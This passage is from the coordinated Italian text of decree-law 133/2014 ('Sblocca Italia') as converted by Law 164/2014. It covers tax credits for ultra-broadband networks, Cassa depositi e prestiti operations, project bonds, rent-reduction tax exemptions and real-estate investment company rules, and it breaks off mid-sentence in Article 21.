12 Novembre, 2014

Legge 11 novembre 2014, n. 164, in suppl. ord. n. 85 alla G.U. n. 262 del 11.11.2014)

 

Art. 1

 

   1. Il decreto-legge 12 settembre  2014,  n.  133,  recante  misure

urgenti per l’apertura dei cantieri,  la  realizzazione  delle  opere

pubbliche,  la  digitalizzazione  del   Paese,   la   semplificazione

burocratica, l’emergenza del dissesto idrogeologico e per la  ripresa

delle  attivita’  produttive,  e’  convertito   in   legge   con   le

modificazioni riportate in allegato alla presente legge.

  2. La presente legge entra in vigore il giorno successivo a  quello

della sua pubblicazione nella Gazzetta Ufficiale.

 

(Si omette la pubblicazione delle modificazioni di cui all’allegato in quanto sono state evidenziate mediante il carattere corsivo nel testo coordinato sotto riportato. Il testo del D.L. 12 settembre 2014, n. 133, è stato pubblicato nel fascicolo n. 18/2014, 1310).

 

Testo del decreto-legge 12 settembre 2014, n. 133, coordinato con la legge di conversione 11 novembre 2014, n. 164, recante: «Misure urgenti per l’apertura dei cantieri, la realizzazione delle opere pubbliche, la digitalizzazione del Paese, la semplificazione burocratica, l’emergenza del dissesto idrogeologico e per la ripresa delle attivita’ produttive.».

(Testo coordinato a cura del Min. grazia e giustizia in suppl. ord. n. 85 alla G.U. n. 262 del 11.11.2014)

(Omissis).

 

CAPO II

MISURE PER IL POTENZIAMENTO DELLE RETI AUTOSTRADALI E DI

 TELECOMUNICAZIONI

(Omissis).

 

Art. 6

 Agevolazioni  per  la  realizzazione  di  reti  di   comunicazione

elettronica a banda ultralarga e norme di  semplificazione  per  le

procedure di scavo e  di  posa  aerea  dei  cavi,  nonche’  per  la

realizzazione delle reti di comunicazioni elettroniche

 

  1. Dopo il comma 7-bis  dell’  articolo  33  del  decreto-legge  18

ottobre 2012, n. 179, convertito, con modificazioni, dalla  legge  17

dicembre 2012, n. 221, sono inseriti i seguenti:

  «7-ter. In via sperimentale, fino  al  31  dicembre  2015,  possono

essere ammessi ai  benefici  di  cui  al  comma  7-sexies  interventi

infrastrutturali, per i quali non sono previsti contributi pubblici a

fondo perduto, realizzati sulla rete  a  banda  ultralarga,  relativi

alla rete di accesso attraverso cui viene fornito il servizio a banda

ultralarga all’utente, per i quali ricorrano le seguenti condizioni:

  a) siano interventi infrastrutturali nuovi e  aggiuntivi  non  gia’

previsti in piani industriali o finanziari o  in  altri  idonei  atti

alla  data  di  entrata  in  vigore  della   presente   disposizione,

funzionali ad assicurare il servizio a banda  ultralarga  a  tutti  i

soggetti potenzialmente interessati insistenti nell’area considerata;

  b)  soddisfino  un  obiettivo  di   pubblico   interesse   previsto

dall’Agenda  digitale  europea,  di  cui  alla  comunicazione   della

Commissione europea COM (2010) 245 definitivo/2 del 26 agosto 2010;

  c) prevedano un investimento privato non inferiore alle  soglie  di

seguito  indicate  finalizzato  all’estensione  della  rete  a  banda

ultralarga:

  1)  nei  comuni  con  popolazione  inferiore  a   5.000   abitanti:

investimento non inferiore  a  200.000  euro  e  completamento  degli

interventi  infrastrutturali  entro  nove  mesi  dalla   data   della

prenotazione di cui al comma 7-septies;

  2) nei comuni con popolazione compresa tra 5.000 e 10.000 abitanti:

investimento non inferiore  a  500.000  euro  e  completamento  degli

interventi  infrastrutturali  entro  dodici  mesi  dalla  data  della

prenotazione di cui al comma 7-septies;

  3)  nei  comuni  con  popolazione  superiore  a  10.000   abitanti:

investimento non inferiore a 1 milione di euro e completamento  degli

interventi  infrastrutturali  entro  dodici  mesi  dalla  data  della

prenotazione di cui  al  comma  7-septies.  Il  suddetto  termine  di

completamento  e’  esteso  a  ventiquattro  mesi   per   investimenti

superiori a 10 milioni di euro  e  a  trenta  mesi  per  investimenti

superiori a 50 milioni di euro, ma in tal caso deve essere assicurata

la connessione a tutti gli edifici scolastici  nell’area  interessata

entro i primi dodici mesi. Nei casi previsti al  secondo  periodo,  i

benefici di cui al comma 7-sexies sono estesi all’imposta sul reddito

e all’imposta regionale sulle attivita’  produttive  (IRAP)  relative

all’anno 2016;

  d) le condizioni del mercato siano insufficienti  a  garantire  che

l’investimento privato sia realizzato entro due anni  dalla  data  di

entrata in vigore della presente disposizione. Il termine e’  di  tre

anni in caso di investimenti superiori a 50 milioni di euro.

  7-quater. Ai fini del presente articolo si intende per:

  a)  rete  a  banda  ultralarga  a  30   Mbit/s:   l’insieme   delle

infrastrutture e delle tecnologie in grado di erogare un servizio  di

connettivita’ con banda di download di almeno 30 Mbit/s e  di  upload

di almeno 3 Mbit/s su una determinata area;

  b)  rete  a  banda  ultralarga  a  100  Mbit/s:   l’insieme   delle

infrastrutture e tecnologie  in  grado  di  erogare  un  servizio  di

connettivita’ con banda di download di almeno 100 Mbit/s e di  upload

di almeno 10 Mbit/s su una determinata area;

  c) servizio a banda ultralarga: un servizio di connettivita’ con la

banda di cui alle lettere a) e b) e con  l’obbligo  di  copertura  di

tutti i potenziali utenti (residenziali,  pubbliche  amministrazioni,

imprese) di  una  determinata  area  geografica  con  un  fattore  di

contemporaneita’  di  almeno  il  50  per  cento  della   popolazione

residente servita e assicurando la copertura  di  tutti  gli  edifici

scolastici dell’area interessata.

  7-quinquies.  Sono  ammessi  al  beneficio  tutti  gli   interventi

infrastrutturali attraverso cui e’ possibile fornire il  servizio  di

cui alla lettera c) del comma 7-quater, purche’ non ricadenti in aree

nelle quali gia’ sussistano idonee infrastrutture o vi  sia  gia’  un

fornitore di servizi di rete a banda ultralarga  con  caratteristiche

di rete, di cui alle lettere a) e b) del  comma  7-quater,  eguali  o

superiori a quelle dell’intervento  per  il  quale  e’  richiesto  il

contributo. E’ ammessa al beneficio la costruzione di cavidotti, cavi

in fibra ottica, armadi di terminazione ottica e tralicci.  Non  sono

ammessi i costi per  apparati  tecnologici  di  qualunque  natura.  I

benefici di cui al comma 7-sexies possono essere concessi ad un  solo

soggetto nella stessa area.

  7-sexies. Gli interventi che abbiano le caratteristiche di  cui  al

comma  7-ter  possono  usufruire  del  credito  d’imposta  a   valere

sull’IRES  e  sull’IRAP  complessivamente  dovute  dall’impresa   che

realizza l’intervento infrastrutturale, entro il limite  massimo  del

50 per cento del costo dell’investimento. Il  credito  d’imposta  non

costituisce ricavo ai fini delle imposte dirette e  dell’IRAP  ed  e’

utilizzato in  sede  di  dichiarazione  dei  redditi  e  dell’imposta

regionale sulle attivita’ produttive.

  7-septies. A decorrere  dalla  data  di  entrata  in  vigore  della

presente disposizione e fino al  31  gennaio  2015,  per  ottenere  i

benefici di cui  al  comma  7-sexies,  l’operatore  interessato  alla

realizzazione   dell’investimento   deve   dare   evidenza   pubblica

all’impegno che intende assumere, manifestando il  proprio  interesse

per ciascuna area attraverso una prenotazione da effettuare nel  sito

web del Ministero dello sviluppo economico. Nel sito web e’  inserita

un’apposita sezione con la classificazione delle  aree  ai  fini  del

Piano strategico banda ultralarga in cui sono distinti gli interventi

a 30 Mbit/s e a 100 Mbit/s. Nei casi di  conflitto  di  prenotazione,

ossia per tutte le aree in cui vi sia piu’ di  una  prenotazione,  il

beneficio e’ riconosciuto all’operatore che presenta il progetto  con

una maggiore copertura del territorio  e  livelli  di  servizio  piu’

elevati, corredati di soluzioni tecnologiche piu’  evolute.  Nei  tre

mesi successivi alla prenotazione l’operatore, a pena  di  decadenza,

deve  trasmettere  un  progetto   esecutivo   firmato   digitalmente,

conformemente a quanto previsto  dalla  decisione  della  Commissione

europea C(2012) 9833 final, del 18 dicembre 2012. Entro il 30  aprile

2015 il Ministero dello sviluppo economico pubblica l’indicazione  di

tutte  le  aree  oggetto  di  intervento  privato  con  richiesta  di

contributo  e  di  tutte  le  aree   bianche   rimanenti.   Dopo   il

completamento dell’intervento l’operatore e’ tenuto  ad  inviare  una

comunicazione  certificata  del  collaudo  tecnico   dell’intervento,

affinche’   l’amministrazione   possa   verificare   la   conformita’

dell’intervento rispetto agli  impegni  assunti,  e  deve  mettere  a

disposizione  degli  altri  operatori  l’accesso   all’infrastruttura

passiva, secondo le determinazioni  dell’Autorita’  per  le  garanzie

nelle comunicazioni. Sia in fase di  progettazione  sia  in  fase  di

gestione, il Ministero dello sviluppo economico  ha  la  facolta’  di

predisporre ogni tipo  di  controllo  necessario  per  verificare  la

conformita’ dell’intervento rispetto agli impegni assunti.

  7-octies.  Con  decreto  del  Ministro  dello  sviluppo  economico,

sentiti, per  quanto  di  loro  competenza,  i  Ministeri  competenti

nonche’ l’Agenzia delle entrate,  da  adottare  entro  trenta  giorni

dalla data di entrata in vigore  della  presente  disposizione,  sono

stabiliti condizioni, criteri, modalita’ operative,  di  controllo  e

attuative dei commi da 7-ter a 7-septies,  nonche’  il  procedimento,

analogo e congruente rispetto a quello  previsto  dal  comma  2,  per

l’individuazione, da parte del  CIPE,  del  limite  degli  interventi

agevolabili. Il decreto di cui al primo periodo definisce altresi’ le

modalita’ atte ad assicurare l’effettiva  sussistenza  del  carattere

nuovo e  aggiuntivo  dell’intervento  infrastrutturale  proposto,  la

modulazione della struttura delle aliquote del credito  d’imposta  di

cui  lo  stesso  beneficia,  anche  in  funzione   delle   specifiche

condizioni di mercato dell’area interessata, e le forme di  controllo

e di monitoraggio, per garantire  il  conseguimento  delle  finalita’

sottese al beneficio concesso, tenuto  conto  della  decisione  della

Commissione europea C(2012) 9833 final, del 18 dicembre 2012».

(Omissis).

 

CAPO IV

MISURE PER LA SEMPLIFICAZIONE BUROCRATICA

(Omissis).

Art. 10

Disposizioni per il potenziamento dell’operativita’

di Cassa depositi e prestiti a supporto dell’economia

 

  1. All’articolo 5 del decreto-legge  30  settembre  2003,  n.  269,

convertito, con modificazioni, dalla legge 24 novembre 2003, n.  326,

sono apportate le seguenti modifiche:

  «a) al comma 7, lettera a), secondo periodo, dopo le  parole:  «dai

medesimi promossa,» sono aggiunte le seguenti: «nonche’ nei confronti

di soggetti privati per il compimento di operazioni  nei  settori  di

interesse generale individuati ai  sensi  del  successivo  comma  11,

lettera e),»;

  b) al comma 7, lettera b) le parole:  «alla  fornitura  di  servizi

pubblici ed  alle  bonifiche»  sono  sostituite  dalle  seguenti:  «a

iniziative di pubblica utilita’ nonche’  investimenti  finalizzati  a

ricerca,  sviluppo,  innovazione,   tutela   e   valorizzazione   del

patrimonio culturale, anche in funzione di  promozione  del  turismo,

ambiente e efficientamento energetico,   anche  con  riferimento  a

quelle interessanti i territori montani e rurali per investimenti nel

campo della green economy,  in via preferenziale in cofinanziamento

con enti creditizi e comunque»;

  c) al  comma  11,  lettera  e),  dopo  le  parole:  «ammissibili  a

finanziamento»  sono  aggiunte  le  seguenti:  «,  e  i  settori   di

intervento di cui al medesimo comma 7, lettera a), nonche’ i  criteri

e i limiti delle operazioni dei soggetti privati e i relativi settori

di intervento»;

  d) al comma 11, lettera  e-bis),  le  parole:  «con  riferimento  a

ciascun esercizio finanziario,» sono soppresse; le parole: «ai  sensi

del comma 7, lettera a)» sono sostituite dalle seguenti: «diverse  da

quelle di cui al comma 7, lettera  b),»;  le  parole:  «con  rinuncia

all’azione di regresso su CDP S.p.A.,» sono soppresse; le parole:  «a

condizioni di mercato» sono soppresse; alla fine  della lettera

sono aggiunte le seguenti parole: «Con una o piu’ convenzioni tra  il

Ministero dell’economia e delle finanze e la Cassa depositi e presiti

S.p.A. sono disciplinati i  criteri  e  le  modalita’  operative,  la

durata e la remunerazione della predetta garanzia.».

  2. Al comma 5-bis dell’articolo 26 del decreto del Presidente della

Repubblica 29 settembre 1973, n.  600,  dopo  le  parole:  «stabiliti

negli Stati membri dell’Unione Europea», sono aggiunte  le  seguenti:

«enti individuati all’articolo 2, paragrafo 5, numeri da  4)  a  23),

della direttiva 2013/36/UE,».

   2-bis. All’articolo 5 del decreto-legge 30  settembre  2003,  n.

269, convertito, con modificazioni, dalla legge 24 novembre 2003,  n.

326,  e  successive  modificazioni,  sono   apportate   le   seguenti

modificazioni:

  a) al comma 7,  lettera  a),  le  parole:  «Tali  operazioni»  sono

sostituite dalle seguenti: «Le operazioni adottate nell’ambito  delle

attivita’  di  cooperazione  internazionale  allo  sviluppo,  di  cui

all’articolo 22 della legge 11 agosto 2014, n. 125,»;

  b) al comma 11-bis, dopo  le  parole:  «per  l’effettuazione  delle

operazioni» sono inserite le seguenti:  «adottate  nell’ambito  delle

attivita’ di cooperazione internazionale allo sviluppo».

 

Art. 11

Disposizioni in materia di defiscalizzazione

degli investimenti infrastrutturali in finanza di progetto

 

  1. All’articolo 33 del  decreto-legge  18  ottobre  2012,  n.  179,

convertito, con modificazioni, dalla legge 17 dicembre 2012, n.  221,

sono apportate le seguenti modificazioni:

  a) al comma 1, le parole: «di rilevanza strategica nazionale»  sono

sostituite dalle seguenti: «previste in piani o  programmi  approvati

da amministrazioni pubbliche», e la parola: «200» e’ sostituita dalla

seguente: «50»;

  b) al comma 2-ter, le parole: «di rilevanza  strategica  nazionale»

sono sostituite  dalle  seguenti:  «previste  in  piani  o  programmi

approvati  da  amministrazioni  pubbliche»  e  la  parola:  «200»  e’

sostituita dalla seguente: «50».

  c) dopo il comma 2-quater e’ aggiunto il seguente: «2-quinquies. Il

valore complessivo delle opere non di rilevanza strategica  nazionale

previste in piani o programmi approvati da amministrazioni pubbliche,

cui vengono applicate le misure di cui ai commi 1 e 2-ter,  non  puo’

superare l’importo di 2 miliardi di euro.».

Art. 12

Potere sostitutivo nell’utilizzo dei fondi europei

(Omissis).

 

Art. 13

Misure a favore dei project bond

(Omissis).

3.  All’articolo  1  del  decreto-legge  22  giugno  2012,  n.  83,

convertito, con modificazioni, dalla legge 7  agosto  2012,  n.  134,

sono apportate le seguenti modificazioni:

  a) il comma 3 e’  sostituito  dal  seguente:  «3.  Le  garanzie  di

qualunque tipo, da  chiunque  e  in  qualsiasi  momento  prestate  in

relazione alle emissioni di obbligazioni e titoli di debito da  parte

delle societa’ di cui all’articolo 157  del  decreto  legislativo  12

aprile  2006,  n.  163,  nonche’  le  relative  eventuali   surroghe,

sostituzioni,  postergazioni,  frazionamenti  e  cancellazioni  anche

parziali, ivi comprese le cessioni di credito stipulate in  relazione

a  tali  emissioni,  nonche’  i  trasferimenti  di   garanzie   anche

conseguenti alla cessione delle predette  obbligazioni  e  titoli  di

debito,  sono  soggetti  alle  imposte  di  registro,  ipotecarie   e

catastali in misura fissa  di  cui  rispettivamente  al  decreto  del

Presidente della Repubblica 26 aprile  1986,  n.  131  e  al  decreto

legislativo 31 ottobre 1990, n. 347.».

  b) il comma 4 e’ abrogato.

 

(Omissis).

 

CAPO V

MISURE PER IL RILANCIO DELL’EDILIZIA

(Omissis).

 

Art. 19

Esenzione da ogni imposta degli accordi di riduzione

dei canoni di locazione

 

  1. La registrazione dell’atto con  il  quale  le  parti  dispongono

esclusivamente la riduzione del canone di un contratto  di  locazione

ancora in essere e’ esente dalle imposte di registro e di bollo.

  1-bis. Nella  definizione  degli  accordi  di  cui  al  presente

articolo, anche nell’ambito di iniziative  intraprese  da  agenzie  o

istituti per le locazioni,  comunque  denominati,  le  parti  possono

avvalersi  dell’assistenza  delle  organizzazioni  della   proprieta’

edilizia e dei conduttori, sia  in  relazione  ai  contratti  di  cui

all’articolo 2, comma 1, della legge 9 dicembre 1998, n. 431, sia  in

relazione ai contratti di cui al medesimo articolo 2, commi  3  e  5,

della  legge  n.  431  del  1998,  e  successive  modificazioni.   Il

conduttore,  con  propria  comunicazione,  puo’  avanzare   richiesta

motivata di riduzione del canone contrattuale. Ove la  trattativa  si

concluda con la determinazione di un canone ridotto e’  facolta’  dei

comuni  riconoscere  un’aliquota  ridotta   dell’imposta   municipale

propria.

 

Art. 20

Misure per il rilancio del settore immobiliare

 

  1. All’articolo 1, della legge  27  dicembre  2006,  n.  296,  sono

apportate le seguenti modificazioni:

    a) al comma 119:

  1) le parole: «del 51 per cento»,  ovunque  ricorrono,  sono

sostituite dalle seguenti: «del 60 per cento» e le parole: «il 35 per

cento» sono sostituite dalle seguenti: «il 25 per cento»;

  2) e’  aggiunto,  in  fine,  il  seguente  periodo:  «Il  requisito

partecipativo del 25 per cento non si applica in  ogni  caso  per  le

societa’  il  cui  capitale  sia  gia’  quotato.  Ove  il   requisito

partecipativo  del  60  per  cento  venisse  superato  a  seguito  di

operazioni societarie straordinarie o sul  mercato  dei  capitali  il

regime speciale di cui al precedente periodo e’ sospeso sino a quando

il suddetto requisito partecipativo non venga ristabilito nei  limiti

imposti dalla presente norma.»;

    b) dopo il comma 119 sono inseriti i seguenti:

  «119-bis. I requisiti partecipativi di  cui  al  comma  119  devono

essere verificati  entro  il  primo  periodo  d’imposta  per  cui  si

esercita l’opzione ai sensi del comma 120;  in  tal  caso  il  regime

speciale esplica i  propri  effetti  dall’inizio  di  detto  periodo.

Tuttavia, per le societa’ che al termine del primo periodo  d’imposta

abbiano realizzato il solo requisito del 25 per cento  e’  consentito

di verificare l’ulteriore requisito partecipativo del  60  per  cento

nei due esercizi successivi. In tal caso, il regime speciale previsto

dal comma 119 si applica a partire dall’inizio del periodo  d’imposta

in cui detto requisito  partecipativo  viene  verificato  e  fino  ad

allora la societa’ applica in via  ordinaria  l’imposta  sul  reddito

delle societa’ e  l’imposta  regionale  sulle  attivita’  produttive.

L’imposta d’ingresso di cui al comma 126, l’imposta sostitutiva sulle

plusvalenze da  conferimento  di  cui  al  comma  137  e  le  imposte

ipotecarie  e  catastali  di  cui  al  comma  139   sono   applicate,

rispettivamente dalla societa’ che  ha  presentato  l’opzione  e  dal

soggetto  conferente,  in  via  provvisoria   fino   al   realizzarsi

dell’accesso al regime speciale. Se l’accesso al regime speciale  non

si realizza, le suddette imposte sono rideterminate e dovute  in  via

ordinaria entro la fine del quarto periodo d’imposta successivo  alla

presentazione dell’opzione. Le imposte corrisposte in via provvisoria

costituiscono credito d’imposta   utilizzabile  ai  sensi  del

decreto legislativo 9 luglio 1997, n. 241.

  119-ter.  Le  SIIQ  non  costituiscono  Organismi  di  investimento

collettivo del risparmio di cui al decreto  legislativo  24  febbraio

1998, n. 58.»;

    c) al comma 121:

  1) dopo il secondo periodo e’ inserito il  seguente:  «Agli  stessi

effetti assumono rilevanza  le  quote  di  partecipazione  nei  fondi

immobiliari indicati nel comma 131 e i relativi proventi.»;

  2) il terzo  periodo  e’  sostituito  dal  seguente:  «In  caso  di

alienazione degli immobili e dei diritti reali su immobili  destinati

alla locazione,  anche  nel  caso  di  loro  classificazione  tra  le

attivita’ correnti, ai fini della verifica del  parametro  reddituale

concorrono  a  formare  i   componenti   positivi   derivanti   dallo

svolgimento  di  attivita’  di  locazione  immobiliare  soltanto   le

eventuali plusvalenze realizzate»;

  d) al comma 122, le parole: «due esercizi»  sono  sostituite  dalle

seguenti: «tre esercizi»;

  e) al comma 123:

  1) le parole: «l’85 per cento» sono sostituite dalle seguenti:  «il

70 per cento»;

  2) al primo periodo, dopo la parola: «partecipazioni» sono inserite

le seguenti: «o di quote di partecipazione in  fondi  immobiliari  di

cui al comma 131»;

    f) dopo il comma 123 e’ inserito il seguente:

  «123-bis. Ai fini  del  comma  123,  i  proventi  rivenienti  dalle

plusvalenze nette realizzate su  immobili  destinati  alla  locazione

nonche’ derivanti dalla cessione di partecipazioni in SIIQ e SIINQ  o

di quote in fondi immobiliari di cui  al  comma  131,  incluse  nella

gestione  esente  ai  sensi  del  comma  131,    sono  soggetti

all’obbligo di distribuzione per il 50 per  cento  nei  due  esercizi

successivi a quello di realizzo.»;

  g) al comma 127, il secondo periodo e’ sostituito dal seguente: «In

caso di alienazione degli immobili o dei diritti reali  anteriormente

a tale termine, la differenza  fra  il  valore  normale  assoggettato

all’imposta di cui ai commi 126 e 137 e il costo fiscale riconosciuto

prima dell’ingresso nel regime speciale,  al  netto  delle  quote  di

ammortamento calcolate su tale costo, e’ assoggettato ad  imposizione

ordinaria e l’imposta sostitutiva proporzionalmente  imputabile  agli

immobili e ai diritti reali alienati costituisce credito d’imposta.»;

  h) al comma 131, al secondo periodo,  dopo  le  parole:  «locazione

immobiliare  svolta  da  tali  societa’»,  e’  aggiunto  il  seguente

periodo: «, ovvero le plusvalenze o minusvalenze relative a  immobili

destinati alla locazione e a partecipazioni  in  SIIQ  o  SIINQ  e  i

proventi e le plusvalenze o minusvalenze  relativi a  quote   di

partecipazione a fondi comuni di investimento  immobiliare  istituiti

in  Italia  e  disciplinati  dal  testo  unico  di  cui  al   decreto

legislativo 24 febbraio 1998, n. 58, che investono  almeno  l’80  per

cento  del  valore  delle  attivita’  in  immobili,   diritti   reali

immobiliari, anche derivanti da rapporti concessori o da contratti di

locazione finanziaria  su  immobili  a  carattere  traslativo,  e  in

partecipazioni in societa’ immobiliari o in altri fondi  immobiliari,

destinati alla locazione immobiliare, ivi inclusi i  fondi  destinati

all’investimento in beni  immobili  a  prevalente  utilizzo  sociale,

ovvero in partecipazioni in SIIQ o SIINQ.  Sui  proventi  di  cui  al

periodo precedente distribuiti dai predetti  fondi  immobiliari  alle

SIIQ non si applica la ritenuta prevista dall’articolo  7,  comma  2,

del  decreto-legge  25  settembre  2001,  n.  351,  convertito,   con

modificazioni, dalla legge 23 novembre 2001, n. 410.»;

  i) al comma 134:

  1) al secondo periodo, dopo le parole: «ai sensi  dell’articolo  2,

comma 3, della legge  9  dicembre  1998,  n.  431»,  e’  inserito  il

seguente periodo: «, ivi inclusi i contratti  di  locazione  relativi

agli  alloggi  sociali  realizzati   o   recuperati   in   attuazione

dell’articolo  11  del  decreto-legge  25  giugno   2008,   n.   112,

convertito, con modificazioni, dalla legge 6 agosto 2008, n.  133,  e

dell’articolo  11  dell’Allegato  al  decreto  del   Presidente   del

Consiglio dei ministri 16  luglio  2009,  pubblicato  nella  gazzetta

ufficiale del 19 agosto 2009, n. 191;   la  presente  disposizione

costituisce  deroga    all’unificazione   dell’aliquota   di   cui

all’articolo 3, comma 1, del decreto-legge 24  aprile  2014,  n.  66,

convertito, con modificazioni, dalla legge 23 giugno 2014, n. 89»;

  2) e’ aggiunto, in fine, il seguente periodo:

  «Per le  distribuzioni  eseguite  nei  confronti  di  soggetti  non

residenti si applicano, sussistendone i presupposti,  le  convenzioni

per evitare la doppia imposizione sul reddito e a tal fine si applica

l’articolo 7, comma 3-bis, del decreto-legge 25  settembre  2001,  n.

351, convertito, con modificazioni, dalla legge 23 novembre 2001,  n.

410».

    l) al comma 141-bis, primo periodo, dopo  le  parole:  «locazione

immobiliare» sono aggiunte  le  seguenti  «,  anche  svolta  mediante

partecipazioni in societa’  che  abbiano   espresso  l’opzione

congiunta per il regime speciale di cui al comma 125».

  2. All’articolo 1 della legge 27 dicembre 2006,  n.  296,  dopo  il

comma 140 sono inseriti i seguenti:

  «140-bis. Il concambio eseguito dai fondi immobiliari  istituiti  e

disciplinati dal decreto legislativo 24 febbraio 1998, n. 58, in sede

di liquidazione totale o parziale mediante assegnazione  ai  quotisti

di azioni di societa’ che abbiano optato per  il  regime  di  cui  al

comma 119, ricevute a  seguito  di  conferimento  di  immobili  nelle

stesse societa’ non costituisce realizzo ai fini  delle  imposte  sui

redditi in capo al quotista e alle azioni della SIIQ  ricevute  dagli

stessi quotisti e’ attribuito il medesimo valore fiscale delle  quote

del fondo. Per  la  SIIQ  conferitaria,  il  valore  di  conferimento

iscritto in bilancio costituisce valore fiscalmente riconosciuto agli

effetti del comma 127. Qualora il  conferimento  di  cui  ai  periodi

precedenti sia effettuato nei confronti di una  SIIQ  gia’  esistente

non si applicano al fondo conferente gli obblighi di offerta pubblica

ai sensi dell’articolo 106 del decreto legislativo 24 febbraio  1998,

n. 58, a condizione che il  fondo  stesso  provveda  all’assegnazione

delle azioni ai quotisti entro il termine di 30 giorni dall’acquisto.

  140-ter. Ai conferimenti effettuati dai fondi immobiliari istituiti

e disciplinati dal decreto legislativo 24 febbraio  1998,  n.  58  in

societa’, che abbiano optato per il regime speciale di cui  al  comma

119 e aventi ad oggetto una pluralita’  di  immobili  prevalentemente

locati, si applica l’articolo 2, terzo comma, lettera b), del decreto

del Presidente della Repubblica 26 ottobre 1972, n. 633.  I  predetti

conferimenti si considerano compresi, agli effetti delle  imposte  di

registro, ipotecaria e catastale, fra gli atti previsti nell’articolo

4, comma 1, lettera a), numero 3), della tariffa, parte  I,  allegata

al testo unico delle disposizioni concernenti l’imposta  di  registro

di cui al decreto del Presidente della Repubblica 26 aprile 1986,  n.

131, nell’articolo 10, comma 2, del testo  unico  delle  disposizioni

concernenti le imposte ipotecaria  e  catastale  di  cui  al  decreto

legislativo 31 ottobre 1990, n. 347, e nell’articolo 4 della  tariffa

allegata al medesimo decreto legislativo n. 347 del 1990. Le cessioni

di azioni o quote effettuate nella fase di  liquidazione  di  cui  al

comma 140-bis, si considerano, ai fini dell’articolo 19-bis, comma 2,

del decreto del Presidente della Repubblica 26 ottobre 1972, n.  633,

operazioni  che  non  formano  oggetto  dell’attivita’  propria   del

soggetto passivo.

  140-quater. Il medesimo trattamento fiscale di cui al comma 140-ter

si applica alle assegnazioni che abbiano ad oggetto una pluralita’ di

immobili prevalentemente locati eseguite per  la  liquidazione  delle

quote da fondi  immobiliari  istituiti  e  disciplinati  dal  decreto

legislativo 24 febbraio 1998, n. 58, a societa’  che  abbiano  optato

per il regime di cui al comma 119.».

  3. All’onere derivante dal comma 1, lettera f), pari a 1,06 milioni

 di euro  per l’anno 2014, 3,26 milioni per l’anno 2015,  a  3,33

milioni per l’anno 2016, a 3,38  milioni  per  l’anno  2017,  a  4,17

milioni per l’anno 2018, a 4,97  milioni  per  l’anno  2019,  a  5,30

milioni per l’anno 2020 e a 4,90  milioni   di  euro  annui  a

decorrere  dall’anno  2021  si   provvede   mediante   corrispondente

riduzione dell’autorizzazione di spesa di cui all’articolo 27,  comma

10, sesto periodo, della legge 23 dicembre 1999, n. 488, e successive

modificazioni.

  4. All’articolo 3 del decreto-legge  25  settembre  2001,  n.  351,

convertito, con modificazioni, dalla legge 23 novembre 2001, n.  410,

sono apportate le seguenti modificazioni:

  a) al primo periodo del  comma  18,  sono  aggiunte,  in  fine,  le

parole:  «nonche’  dalle  dichiarazioni  di   conformita’   catastale

previste dall’articolo 19, commi 14 e 15, del decreto-legge 31 maggio

2010, n. 78, convertito, con modificazioni,  dalla  legge  30  luglio

2010, n. 122»;

  b) al primo periodo del  comma  19,  sono  aggiunte,  in  fine,  le

seguenti  parole:  «nonche’  dalle   dichiarazioni   di   conformita’

catastale previste dall’articolo 19, commi 14 e 15, del decreto-legge

31 maggio 2010, n. 78, convertito, con modificazioni, dalla legge  30

luglio 2010, n. 122»;

  c) dopo il comma 19 e’ inserito il seguente comma 19-bis: «Nei casi

delle operazioni immobiliari di cui al presente articolo, e di quelle

di cui all’articolo 11-quinquies del decreto-legge 30 settembre 2005,

n. 203, convertito, con modificazioni, dalla legge 2  dicembre  2005,

n. 248, l’attestato di prestazione energetica di cui  all’articolo  6

del decreto legislativo 19 agosto 2005, n. 192, puo’ essere acquisito

successivamente agli atti  di  trasferimento  e  non  si  applica  la

disposizione di cui al comma 3 del medesimo articolo 6.».

  c-bis) dopo il comma 20 e’ aggiunto il seguente:

  «20-bis.  Agli  immobili  del  patrimonio  abitativo  dell’Istituto

nazionale  della  previdenza  sociale  oggetto  di   conferimenti   o

trasferimenti a uno o piu’ fondi comuni di  investimento  immobiliare

di cui al decreto  del  Ministro  dell’economia  e  delle  finanze  5

febbraio 2014, pubblicato nella Gazzetta Ufficiale n. 65 del 19 marzo

2014, continuano ad applicarsi le disposizioni dei commi da  3  a  20

del  presente  articolo.  Al  fine  di  accelerare  il  processo   di

dismissione  del  patrimonio  suddetto  ai  conduttori,  il   termine

previsto  dal  comma  1  dell’articolo  7-bis  del  decreto-legge  30

settembre 2005, n. 203, convertito, con modificazioni, dalla legge  2

dicembre 2005, n. 248, e’ prorogato al 31 dicembre 2013».

  4-bis. (Omissis).

  4-ter. Al comma 4 dell’articolo 10 del decreto legislativo 14 marzo

2011, n. 23, e successive modificazioni, e’  aggiunto,  in  fine,  il

seguente  periodo:  «E’  altresi’  esclusa  la   soppressione   delle

esenzioni e delle agevolazioni tributarie riferite agli atti  di  cui

ai commi 1 e 2 aventi ad oggetto  immobili  pubblici  interessati  da

operazioni di permuta, dalle procedure di cui  agli  articoli  2,  3,

3-ter e 4 del decreto-legge 25 settembre 2001,  n.  351,  convertito,

con modificazioni, dalla legge 23 novembre 2001, n. 410, e successive

modificazioni,  all’articolo  11-quinquies   del   decreto-legge   30

settembre 2005, n. 203, convertito, con modificazioni, dalla legge  2

dicembre 2005, n. 248, e successive modificazioni, e agli articoli 33

e 33-bis del decreto-legge 6 luglio  2011,  n.  98,  convertito,  con

modificazioni, dalla legge 15  luglio  2011,  n.  111,  e  successive

modificazioni, e all’articolo 32 del  decreto  del  Presidente  della

Repubblica 29 settembre 1973, n. 601».

  4-quater. Al terzo periodo del comma 1  dell’articolo  11-quinquies

del  decreto-legge  30  settembre  2005,  n.  203,  convertito,   con

modificazioni, dalla legge 2 dicembre 2005, n. 248, dopo  le  parole:

«degli enti territoriali» sono inserite le seguenti: «e  delle  altre

pubbliche amministrazioni di cui all’articolo 1, comma 2, del decreto

legislativo 30 marzo 2001, n. 165,  e  successive  modificazioni,»  e

dopo le parole: «che intendono dismettere» sono aggiunte le seguenti:

«e le altre pubbliche amministrazioni di cui all’articolo 1, comma 2,

del  decreto  legislativo  n.  165  del  2001  provvedono  secondo  i

rispettivi ordinamenti, fermo restando quanto previsto  dall’articolo

6, comma 8, della legge 12 novembre 2011, n. 183».

  4-quinquies. (Omissis).

 

Art. 21

Misure per l’incentivazione degli investimenti

in abitazioni in locazione

 

  1. Per l’acquisto, effettuato dal 1° gennaio 2014 al 31 dicembre

2017, di unita’ immobiliari a  destinazione  residenziale,  di  nuova

costruzione, invendute alla data di entrata in vigore della legge  di

conversione  del  presente  decreto  od  oggetto  di  interventi   di

ristrutturazione edilizia o di restauro e di risanamento conservativo

